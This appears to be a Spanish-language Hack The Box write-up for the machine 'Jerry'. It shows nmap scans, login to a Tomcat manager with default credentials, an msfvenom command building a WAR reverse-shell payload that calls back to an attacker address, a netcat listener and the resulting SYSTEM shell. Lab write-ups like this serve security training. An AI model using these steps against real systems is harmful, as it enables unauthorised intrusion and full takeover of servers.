HTB Jerry
Resumen
Jerry es una máquina bastante amigable para aquellos que están empezando en Hack The Box. En esta máquina, es necesario realizar una enumeración dentro de un sitio web alojado en Apache Tomcat para darse cuenta de que se están utilizando credenciales por defecto, información que el propio sitio web revela. Después de este descubrimiento, solo hace falta subir un archivo .war que será interpretado por el servidor, lo que resulta en la obtención de una shell reversa con máximos privilegios dentro de Windows.
Escaneo de Puertos
Para empezar, Se realiza un ping para verificar si existe conexión con la máquina.
1
2
3
4
5
6
7
ping -c 1 10.10.10.95
PING 10.10.10.95 (10.10.10.95) 56(84) bytes of data.
64 bytes from 10.10.10.95: icmp_seq=1 ttl=127 time=232 ms
--- 10.10.10.95 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 232.199/232.199/232.199/0.000 ms
Ahora es posible realizar un escaneo de puertos con Nmap para conocer qué puertos están activos dentro de la máquina y con eso poder descubrir que servicios se encuentran corriendo en cada uno.
1
2
3
4
5
❯ nmap -p- --min-rate 2000 10.10.10.95 -Pn -oG ports
Nmap scan report for 10.10.10.95
PORT STATE SERVICE
8080/tcp open http-proxy
Sobre el puerto, es posible realizar un escaneo más detallado para obtener más información sobre el servicio que se encuentra en ejecución.
1
2
3
4
5
6
7
8
❯ nmap -p8080 -sVC 10.10.10.95 -Pn -oN versions
Nmap scan report for 10.10.10.95
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
|_http-favicon: Apache Tomcat
Enumeración
Con la información obtenida, se procede a revisar el sitio web, y al hacerlo, se observa un servicio de Apache Tomcat
Apache Tomcat es un contenedor de servlets que se puede usar para compilar y ejecutar aplicaciones web realizadas en Java. Implementa y da soporte tanto a servlets como a páginas JSP (Java Server Pages) o Java Sockets.
Al intentar acceder al panel de administrador, se observa la presencia de un formulario para el ingreso.
Si se llena de forma errónea el formulario, se puede observar un mensaje de error que muestra las credenciales por defecto del servicio. Por lo tanto, se puede intentar utilizarlas para realizar el inicio de sesión.
Explotación
Al probarlas, se confirma que efectivamente se están utilizando esas credenciales, lo que permite ingresar al servicio como administrador
Ahora, al contar con privilegios de administrador dentro de la web, es posible subir un archivo .war para obtener una shell reversa.
Pero para esto, es necesario crear el archivo que será interpretado por el servidor. Para ello, se puede hacer uso de msfvenom mediante el siguiente comando:
1
2
3
4
5
❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.61 LPORT=4444 -f war -o jerry.war
Payload size: 1101 bytes
Final size of war file: 1101 bytes
Saved as: jerry.war
Ahora solo queda cargar el archivo, ponerse a la escucha con nc
y ejecutarlo dándole clic a su enlace para obtener la shell reversa.
Se pone a la escucha con el siguiente comando:
1
nc -lvp 4444
Y se da click dentro del enlace se gana una shell reversa.
1
2
3
4
5
6
7
8
9
10
11
12
nc -lvp 4444
listening on [any] 4444 ...
10.10.10.95: inverse host lookup failed: Unknown host
connect to [10.10.14.61] from (UNKNOWN) [10.10.10.95] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system
C:\apache-tomcat-7.0.88>
Dado que el servicio se está ejecutando con máximos privilegios gracias a nc authority, solo sería necesario buscar las flags, ya que se cuenta con acceso completo al sistema.